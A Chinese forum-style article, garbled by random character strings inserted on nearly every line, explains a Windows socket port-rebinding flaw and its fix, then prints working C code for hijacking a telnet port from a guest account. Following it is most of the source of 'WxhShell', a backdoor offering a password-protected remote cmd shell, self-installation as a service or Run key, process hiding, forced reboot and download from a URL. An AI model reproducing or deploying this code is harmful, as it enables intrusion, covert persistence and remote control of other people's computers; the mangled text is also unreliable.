在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K2xH'v
O ( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8Y\OCwO C NfJ:e2 saddr.sin_family = AF_INET;
[Iw>|q<e wKk
3)@il saddr.sin_addr.s_addr = htonl(INADDR_ANY);
hu P ^2*c >wKu6-
]a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
eb!s'@ jQ_dw\
{0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
l*K I O
xT}I 这意味着什么?意味着可以进行如下的攻击:
N )zPxQ U['JFLF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
T2DF'f3A j?\$G.Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gT(th9'+z JG@L5f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Rkpr8MS 9jO`gWxV8* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
&_9YLXtMi; 4[TS4p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
VyecTU"W C5es2!^-]O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
K/vxzHSl 894r;UA7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V(;55ycr m7r j>X Y #include
ZD5I5 #include
By?nd) #include
7~wFU*P1 #include
5zNSEI"PY DWORD WINAPI ClientThread(LPVOID lpParam);
}+Rgx@XZ\ int main()
s,
n^ {
/!=U+X WORD wVersionRequested;
*wC\w DWORD ret;
7
9Qc`3a WSADATA wsaData;
2J;kD2"! BOOL val;
D:wnO|: SOCKADDR_IN saddr;
onnI ! SOCKADDR_IN scaddr;
0A#*4ap int err;
&
u$(NbK SOCKET s;
U~uwm/h SOCKET sc;
6FL?4>MZ
int caddsize;
5vD3K!\u HANDLE mt;
J| SwQE~ DWORD tid;
6exI_3A4jh wVersionRequested = MAKEWORD( 2, 2 );
<nDNiM# err = WSAStartup( wVersionRequested, &wsaData );
+I|Rk& if ( err != 0 ) {
dqqnCXYuW printf("error!WSAStartup failed!\n");
C=N!z return -1;
^Xs%.`Gv/ }
"^;#f+0 saddr.sin_family = AF_INET;
HLjvKE=W -xJX _6}A //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
iv:,fkwG tm(v~L%$>] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(VgNb&Yo9 saddr.sin_port = htons(23);
7:n?PN(p6a if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:KEq<fEI {
SQ}S4r printf("error!socket failed!\n");
5;W\2yj return -1;
7MY)\aH }
~Fy`>* val = TRUE;
w#*/ y?"D //SO_REUSEADDR选项就是可以实现端口重绑定的
_
XE;-weE if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`-VG ?J {
XZ.7c{B< printf("error!setsockopt failed!\n");
O\6vVM[ return -1;
B!eK!B }
h`=r)D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
glv ;C/l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}@d>, 1DU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
pe|X@o N83!C=X' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
?-e7e% {
WtIMvk ret=GetLastError();
5XDgs|8 printf("error!bind failed!\n");
?TDvCL return -1;
mge#YV:: }
HmvsYP66
listen(s,2);
R.K?
while(1)
tKwn~T {
J*5hf: ?i caddsize = sizeof(scaddr);
/vHYM S //接受连接请求
d$pYo)8o({ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|2O')3p"9 if(sc!=INVALID_SOCKET)
vX ?aB!nkw {
_=pWG^a mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
S+r^B?a<oM if(mt==NULL)
0!pJ5q ,A {
W3)\co printf("Thread Creat Failed!\n");
IXnb]q. break;
rn;<HT }
/ip lU }
$]C=qM28- CloseHandle(mt);
le.anJAr }
:vpl+)n closesocket(s);
xA92C WSACleanup();
IroPx#s:i return 0;
@Tm`d ?^ }
}3Qc 24` DWORD WINAPI ClientThread(LPVOID lpParam)
a"x}b {
GWhE8EDT SOCKET ss = (SOCKET)lpParam;
8) HBh7/ SOCKET sc;
]%
K'
fXj$ unsigned char buf[4096];
2`EVdl7B] SOCKADDR_IN saddr;
Xx_tpC? long num;
Qlw>+y-i DWORD val;
9TC)
w| DWORD ret;
58: :h.: //如果是隐藏端口应用的话,可以在此处加一些判断
OZf6/10O/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
SAR=
{/ saddr.sin_family = AF_INET;
k0JW[04j saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vB.l0!c\e_ saddr.sin_port = htons(23);
;+a2\j+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
msiu8E {
=-w;zx printf("error!socket failed!\n");
"tUwo(K[ return -1;
`{[RjM` }
UbO4%YHt val = 100;
*7ZtNo[+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#.H}r6jqs {
/'ZKS T4 ret = GetLastError();
ow/U return -1;
802H$P^ps }
_g~2R#2Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:|rPT)yT] {
{{\ce;hN ret = GetLastError();
cMaOM}mS return -1;
Xwt`(h[u }
yI&9\fn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
-jB3L: {
TkRmV6'w printf("error!socket connect failed!\n");
ziiwxx_ closesocket(sc);
0Qnd6mb closesocket(ss);
49AW6H.JT return -1;
X3',vey }
A|L'ih/ while(1)
iPvuz7j=h {
V^TbP. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_|A+) K //如果是嗅探内容的话,可以再此处进行内容分析和记录
{]^O:i" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{WQq}-( num = recv(ss,buf,4096,0);
y \D=Z
N@ if(num>0)
0mTr-`s send(sc,buf,num,0);
eklgLU-+fW else if(num==0)
]n;1x1' break;
vQ1 v#Z num = recv(sc,buf,4096,0);
nn+_TMu if(num>0)
zU&L.+
send(ss,buf,num,0);
Wpr
,jN8b else if(num==0)
uR$i48} break;
Y]Vq\]m\ }
,$N#Us(Wa closesocket(ss);
nls closesocket(sc);
-_em%o3XC return 0 ;
z=g$Exl }
}gv8au< j/KO|iNL2 po7>IQS] ==========================================================
* ?]~
# =^tA_AxVw 下边附上一个代码,,WXhSHELL
+.kfU)6@ "g0(I8 ==========================================================
qtMD CXZ^n Rko M~`CT #include "stdafx.h"
.UQE{.? 2'] KTHm #include <stdio.h>
/TV=$gB` #include <string.h>
/<{: I \< #include <windows.h>
D d,2;#_ #include <winsock2.h>
[M%._u, #include <winsvc.h>
69OF_/23 #include <urlmon.h>
ac8P\2{" 2YlH}fnH #pragma comment (lib, "Ws2_32.lib")
x`%JI=q #pragma comment (lib, "urlmon.lib")
SwW['c'*]B jQ+sn/ROp #define MAX_USER 100 // 最大客户端连接数
H,y4`p 0 #define BUF_SOCK 200 // sock buffer
tU:EN;H #define KEY_BUFF 255 // 输入 buffer
\+ 0k+B4a R[jEvyD>( #define REBOOT 0 // 重启
y >+mc7n #define SHUTDOWN 1 // 关机
VUwC-) ;+/o?:AH #define DEF_PORT 5000 // 监听端口
gE])!GMM3 %IY``r)j #define REG_LEN 16 // 注册表键长度
k~.&j"K #define SVC_LEN 80 // NT服务名长度
aG%,cQ 1 f-SuM% S_ // 从dll定义API
JSr$-C
fH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]uQqn]+I! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
T.mmmT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
k[kju%i4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
UbamB+QT &JP-O60 // wxhshell配置信息
B*3Y!! struct WSCFG {
gckI.[!b int ws_port; // 监听端口
IzLQhDJ1 char ws_passstr[REG_LEN]; // 口令
y[?-@7i int ws_autoins; // 安装标记, 1=yes 0=no
qfoD char ws_regname[REG_LEN]; // 注册表键名
i+{yMol1 char ws_svcname[REG_LEN]; // 服务名
Qk1xUE char ws_svcdisp[SVC_LEN]; // 服务显示名
OLC{iD# char ws_svcdesc[SVC_LEN]; // 服务描述信息
&ldBv_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
t2BL(yB int ws_downexe; // 下载执行标记, 1=yes 0=no
$?P22"/p char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
2RM+W2!! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_iV]_\0W2 ,Lr<)p };
-E4XIn Sa1l=^ // default Wxhshell configuration
7 msAhz struct WSCFG wscfg={DEF_PORT,
alq%H}FF "xuhuanlingzhe",
VQ#3#Hj 1,
tmUFT "Wxhshell",
|r%D\EB "Wxhshell",
p< "3&HA "WxhShell Service",
L+}n@B "Wrsky Windows CmdShell Service",
Iw<i@=V "Please Input Your Password: ",
{0"YOS`3AX 1,
uxaYCa? "
http://www.wrsky.com/wxhshell.exe",
({WyDu&= "Wxhshell.exe"
Q'O[R+YT , };
fw6UhG ^=
0m-/ // 消息定义模块
]X Z-o>+, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`;l .MZL! char *msg_ws_prompt="\n\r? for help\n\r#>";
@&|l^ 1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*+)AqKP\Kv char *msg_ws_ext="\n\rExit.";
3&&9_`r&_ char *msg_ws_end="\n\rQuit.";
jhbonuV_ char *msg_ws_boot="\n\rReboot...";
qqrq11W char *msg_ws_poff="\n\rShutdown...";
ma'FRt char *msg_ws_down="\n\rSave to ";
!V2/A1? MY#
char *msg_ws_err="\n\rErr!";
G uQ=gN char *msg_ws_ok="\n\rOK!";
UFAL1c<V 4k-+?L!/G char ExeFile[MAX_PATH];
YjOs}TD lx int nUser = 0;
Rp7ntI: HANDLE handles[MAX_USER];
rE9I>|tX int OsIsNt;
3"n\8#X{ G)v
#+4 SERVICE_STATUS serviceStatus;
.
\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
l<0}l^C. X4l@woh%
// 函数声明
^j#rZ;uc
int Install(void);
?;/^Ya1;Z int Uninstall(void);
$Iv2j">3) int DownloadFile(char *sURL, SOCKET wsh);
evkH05+;W int Boot(int flag);
Urr#N void HideProc(void);
X3'H
`/ int GetOsVer(void);
h.O$]:N int Wxhshell(SOCKET wsl);
=0uAE7q(9 void TalkWithClient(void *cs);
$un?0S int CmdShell(SOCKET sock);
`Qr%+OD
int StartFromService(void);
J]f3CU,<N int StartWxhshell(LPSTR lpCmdLine);
e@:sR _4^R9Bt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
AKMm&(fh% VOID WINAPI NTServiceHandler( DWORD fdwControl );
>SPh2[f oF(Lji?m // 数据结构和表定义
;JZS^Wa SERVICE_TABLE_ENTRY DispatchTable[] =
yE[#ze {
J+d1&Tw& {wscfg.ws_svcname, NTServiceMain},
ok|qyN+ {NULL, NULL}
Z R/#V7Pj };
fd-q3_f y6]vl=^L // 自我安装
z~`b\A,$ int Install(void)
Uf}\p~; {
C4TE-OM8 char svExeFile[MAX_PATH];
Y"A/^] HKEY key;
UfS%71l.$ strcpy(svExeFile,ExeFile);
p+)Y Tzzc ~3uP6\F // 如果是win9x系统,修改注册表设为自启动
V< k8N^ if(!OsIsNt) {
C8z{XSo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
o,|[GhtHqs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[1.+HyJ} RegCloseKey(key);
>4t+:Ut: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UTXSeNP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g8PTGz RegCloseKey(key);
(?nCyHC%g return 0;
_h}kp\sps }
^Q+g({
}
{e|[%reSkg }
Z+@2"%W else {
YnLErJ \7CGUB>L // 如果是NT以上系统,安装为系统服务
B^g ?=|{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
q$=#A7H>3) if (schSCManager!=0)
(<^ yqH? {
E*+{t~ SC_HANDLE schService = CreateService
%2v4<icvq (
yn#X;ja- schSCManager,
lok= wscfg.ws_svcname,
l\C.",CEcc wscfg.ws_svcdisp,
g) -bW+]q SERVICE_ALL_ACCESS,
Yk=PS[f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
KEWTBBg SERVICE_AUTO_START,
>,td(= : SERVICE_ERROR_NORMAL,
jy'13G/b\ svExeFile,
,cNLkoN NULL,
eUg~)m5G NULL,
e=.]F*:J NULL,
-Z's@'* NULL,
=Q\r?(Iy NULL
rS;Dmm );
7Hs%Cc" if (schService!=0)
EAM5{Nc {
~c\e'≻ CloseServiceHandle(schService);
Qjb:WC7he CloseServiceHandle(schSCManager);
.0es3Rj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)==Jfn y strcat(svExeFile,wscfg.ws_svcname);
?!+MM&c-n if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[UH||qW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0\e IQp RegCloseKey(key);
AJ=qn a return 0;
?"g! }
+llR204 }
A,a.8!*}vd CloseServiceHandle(schSCManager);
S_Wrw z }
,N)/w1?I }
^0 -:G6H :5{wf Am return 1;
<[-nF"Q }
: 2EDjW 4M2j!Sw // 自我卸载
*6>.!& int Uninstall(void)
RNe^;
B {
P}4QQw HKEY key;
,'u W*kx h D/*h*}T> if(!OsIsNt) {
adR)Uq9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]iUxp+ RegDeleteValue(key,wscfg.ws_regname);
h5^Z2:# RegCloseKey(key);
5rU[Tir if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:>C2gS@ RegDeleteValue(key,wscfg.ws_regname);
0.@&_XTPl RegCloseKey(key);
NGbG4-w- return 0;
GaK-t*Q }
xsD($_ }
Ck)*& }
H*r)Z90 else {
4GX-ma, oaIi2=Tf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
):[7E(F= if (schSCManager!=0)
rp;b" q {
(^Y~/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i uF*.hc,% if (schService!=0)
r/u A.Aou^ {
xjKR R? if(DeleteService(schService)!=0) {
!]=d-RGNe CloseServiceHandle(schService);
sG92XJ CloseServiceHandle(schSCManager);
md"!33 @ return 0;
c"B{/;A }
3v1iy/ / CloseServiceHandle(schService);
UdpF@Q }
SMpH._VFeE CloseServiceHandle(schSCManager);
zo4qG+>o }
&tg&5_ }
zN^n]N_? +nJgl8'^y return 1;
Gz,i~XX }
{?:X8&Sf X\bOz[\ // 从指定url下载文件
;)D];u|_ int DownloadFile(char *sURL, SOCKET wsh)
xHD=\,{ig {
2#c<\s|C HRESULT hr;
OCBgR4I char seps[]= "/";
JzQ )jdvp char *token;
uM_wjP char *file;
@`q:IIgW char myURL[MAX_PATH];
EK6:~ char myFILE[MAX_PATH];
Bu#VMkchJ 6\g cFfo strcpy(myURL,sURL);
YQj 2 token=strtok(myURL,seps);
HTX?,C_ while(token!=NULL)
5kCUaPu {
v|dBSX9k0 file=token;
wea-zN token=strtok(NULL,seps);
b4[bL2J$h1 }
lh7jux Nn!+,;ut GetCurrentDirectory(MAX_PATH,myFILE);
--$
4Q(# strcat(myFILE, "\\");
Cv6'`",Yzm strcat(myFILE, file);
_V7s#_p send(wsh,myFILE,strlen(myFILE),0);
21K>`d\ send(wsh,"...",3,0);
)48QBz? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1_PoqD!q if(hr==S_OK)
&,{fw@#)_ return 0;
<G|(|E1 else
fF7bBE)L/| return 1;
u{['<r;I RI(DXWM|h }
Ya3C#= (k5We!4[1 // 系统电源模块
-p]1=@A<} int Boot(int flag)
$w2u3- {
&$`P,i 1) HANDLE hToken;
F \KjEl0 TOKEN_PRIVILEGES tkp;
vq(0OPj8r[ aX)I3^ar if(OsIsNt) {
gG<~-8uQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M2OIBH4! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
_>(^tCo tkp.PrivilegeCount = 1;
<>y;.@}Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
itBwCIj G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ON=@O if(flag==REBOOT) {
(^TF%(H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
J??-j return 0;
g
jDh?I }
K1 EynU
I else {
I>]oS(GNT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[>8}J" return 0;
k/#&qC>] }
#`CA8!j!! }
Z}mLLf E else {
7puFz4+f if(flag==REBOOT) {
ObVGV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
X[]m _@ v return 0;
6Ypc` }
We$:&K0 else {
n}F&1Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3!XjtVhK?I return 0;
de.&`lPRf }
Dz>^IMsY }
%b&".mN p>RNPrT return 1;
($au:'kU
}
x$5) ^ud? Rdvk
ml@@ // win9x进程隐藏模块
vQosPS_2L void HideProc(void)
I`-8Air5f {
QM5R`i{r ;RDh~EV HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
y"bByd|6 if ( hKernel != NULL )
n0r+A^] {
gd%NkxmW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\KMToN&2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!=;+%C&8y FreeLibrary(hKernel);
[I'0,y }
nw -xSS{ _<k\FU
r return;
dgR
g>)V }
{MtpkUN '&x#rjo# // 获取操作系统版本
mHV%I@`Y6 int GetOsVer(void)
CtyoHvw+M {
@e(o129 OSVERSIONINFO winfo;
+giyX7BPJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{@6=Q 6L GetVersionEx(&winfo);
G`SUxhC k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0h#lJS* return 1;
_ky,;9G] else
5]KW^sL return 0;
|^: cG4e }
Gw>^[dmt! Y2a5bc P // 客户端句柄模块
zKw`Md int Wxhshell(SOCKET wsl)
.aO,8M {
&+Z,hs9% SOCKET wsh;
!\zWF struct sockaddr_in client;
jN{Xfjmfv DWORD myID;
LPZF)@|` V=R 3)GC while(nUser<MAX_USER)
P\yDa*m {
+o\:d1y int nSize=sizeof(client);
ah+~y,Gl wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
C7rNV0.Fq if(wsh==INVALID_SOCKET) return 1;
E@@5BEB ~ S>h;K` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
15%w 8u if(handles[nUser]==0)
'8Q]C*Z closesocket(wsh);
xbdN0MAU else
rM`X?>iT+ nUser++;
![`Ay4AZ@a }
vI:;A/& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
jr)1(** 'FqQzx"r return 0;
Huy5-[)15 }
k.5u YPU*@l> // 关闭 socket
5:pM4J void CloseIt(SOCKET wsh)
QKyo`g7 {
pf1BN@
t closesocket(wsh);
61SlVec*o8 nUser--;
o|>'h$ ExitThread(0);
Sh/T , }
3kw,(-'1 f[@77m* // 客户端请求句柄
XG}C+;4Aw void TalkWithClient(void *cs)
z_F-T=_ {
kStnb?nk 5Sm}nH SOCKET wsh=(SOCKET)cs;
a][f char pwd[SVC_LEN];
G9Y#kBr char cmd[KEY_BUFF];
fKeT,U`W char chr[1];
'C`U"I int i,j;
_7H7
dV !k6K?xt while (nUser < MAX_USER) {
7op`s5i &+cEV6vb+ if(wscfg.ws_passstr) {
iIMd!Q.)@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~D<IB#C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D&od?3}E //ZeroMemory(pwd,KEY_BUFF);
.n#@$
nGZ i=0;
Mmxlp.l while(i<SVC_LEN) {
5*+!+V^?X (zgW%{V@ // 设置超时
C>-aIz!y fd_set FdRead;
O[I\A[* struct timeval TimeOut;
@OV|]u FD_ZERO(&FdRead);
*AG#316 FD_SET(wsh,&FdRead);
:yRo3c TimeOut.tv_sec=8;
KV]X@7`@ TimeOut.tv_usec=0;
&,}j#3< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
JW{rA6? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
igIRSN}h 3N dq> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
8cU}I4| pwd
=chr[0]; k,85Y$`'
if(chr[0]==0xd || chr[0]==0xa) { M.x=<:upp
pwd=0; gnFr}L&j
break; C9~52+S
} ",^Mxm{
i++; kqM045W7
} ]^Qn
?j40}
B]]d
// 如果是非法用户,关闭 socket >[9J?H
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9{(.Il J>
} d9B]fi}
GR
+[UG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z2MWN\?8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :# .<[
u])b,9&En
while(1) { |bq$xp
v9:9E|,U+
ZeroMemory(cmd,KEY_BUFF); le1}0L
C69q&S,
// 自动支持客户端 telnet标准 N!ls j
\-
j=0; P#RR9>Q
while(j<KEY_BUFF) { ^Y@\1fX 4e
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VXYK?Qc'
cmd[j]=chr[0]; S& SQ
if(chr[0]==0xa || chr[0]==0xd) { OHeT,@(mh
cmd[j]=0; [Grxw[(_:
break; Fgp]l2*
} mp=z
j++; !D@ZYK;
} 7uKNd
*%
E;Y;z
// 下载文件 o9JMH.G
if(strstr(cmd,"http://")) { v*;-yG&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ex::m&
if(DownloadFile(cmd,wsh)) {_`^R>"\&w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 23c 8
else =-8bsV/l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;LG#.~f
} *QwY]j%^
else { uW30ep'
yUZb#%n
switch(cmd[0]) { O!P H&;H
~Lm$i6E<
// 帮助 :<hXH^n
case '?': { F@mQQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t; 4]cg:_
break; ?)kG A$m#
} _I)U%?V+
// 安装 {4G%:09~J
case 'i': { *pSQU=dmS
if(Install()) [3(74
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jth[DUH8H
else n@C[@?D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *A"~m!=
break; {U1?Et#
} x c/}#>ED
// 卸载 E7.2T^o;M
case 'r': { g+pml*LJ
if(Uninstall()) K? y[V1,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vbb5f #WZ
else )2bvQy8K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&i!Hs
break; (#Wu#F1;
} /W>iJfx
// 显示 wxhshell 所在路径 }% `.h"
case 'p': { #~7ip\Uf[
char svExeFile[MAX_PATH]; zG ^$"f2
strcpy(svExeFile,"\n\r"); P(H8[ ,
strcat(svExeFile,ExeFile); 7*
yzEM
send(wsh,svExeFile,strlen(svExeFile),0); *~t6(v?
break; v.pBX<
} WU
quN
// 重启 X$ s:>[H
case 'b': { `(YxI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7JEbH?lEN
if(Boot(REBOOT)) wgamshm"d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \#Pfj&*
else { )XvilCk1
closesocket(wsh); _a6[{_Pc
ExitThread(0); ~yH?=:>U
} =p*]Az
break; ` :o4'CG
} 9QDFEYG
// 关机 8,C*4y~
case 'd': { y~q8pH1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lu<xv
if(Boot(SHUTDOWN)) 0`X]o'RxS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GT0Of~?f
else { ldiD2
Q
closesocket(wsh); Fs9I7~L3
ExitThread(0); *=(lyx_O
} gDQ1?N'8{t
break; 5*Y^\N
} d@5[B0eH
// 获取shell $npT[~U5
case 's': { -_1>C\h"
CmdShell(wsh); 8=NM|i
closesocket(wsh); WU71/PYm`
ExitThread(0); 1JztFix
break; xT
} .(^ ,z&
// 退出 m9.{[K"
case 'x': { n ~shK<!C
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -'t)=YJ
CloseIt(wsh); gk"$,\DI
break; c_vqL$Dl
} _3TY,l~
// 离开 )N7Y^CN~
case 'q': { Qa-K$dm%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3NqN\5B:
closesocket(wsh); _*1`@
WSACleanup(); u*Pibgd<
exit(1); J|~MC7#@q
break; _V7r1fY:
} umt.Um.m2
} #,":vr
} *7ZN]/VRT
a1_GIM0
// 提示信息 Jl#%uU/sx
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vb<oi&X
} e[&L9U6GW-
} KG|n
*X+79vG:
return; Rm255zp
} EfCx`3~EX
Hn5|B 3vN
// shell模块句柄 g^}8:,F_
int CmdShell(SOCKET sock) u>kN1k Q8
{ 8,?h~prc
STARTUPINFO si; {q`jDDM
ZeroMemory(&si,sizeof(si)); q|!-0B@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *>n;SuT_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {>DEsO
PROCESS_INFORMATION ProcessInfo; qz0;p=$8Z
char cmdline[]="cmd"; ;C3US)j
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SqEgn}m$
return 0; -jb0o/:
} G(p`1~xm
Wu[&Wv~
// 自身启动模式 ]G5w6&d
int StartFromService(void)
h*w%jdQ6
{ %oZ6l*
typedef struct +l9!Fl{MK\
{ \s=t|Wpu2
DWORD ExitStatus; glM$R &/
DWORD PebBaseAddress; c'%-jG)\
DWORD AffinityMask; SYCEQ5
-
DWORD BasePriority; _B/dWA,P
ULONG UniqueProcessId; Yu)NO\3&
ULONG InheritedFromUniqueProcessId; mOy^vMa
} PROCESS_BASIC_INFORMATION; ^c^#dpn
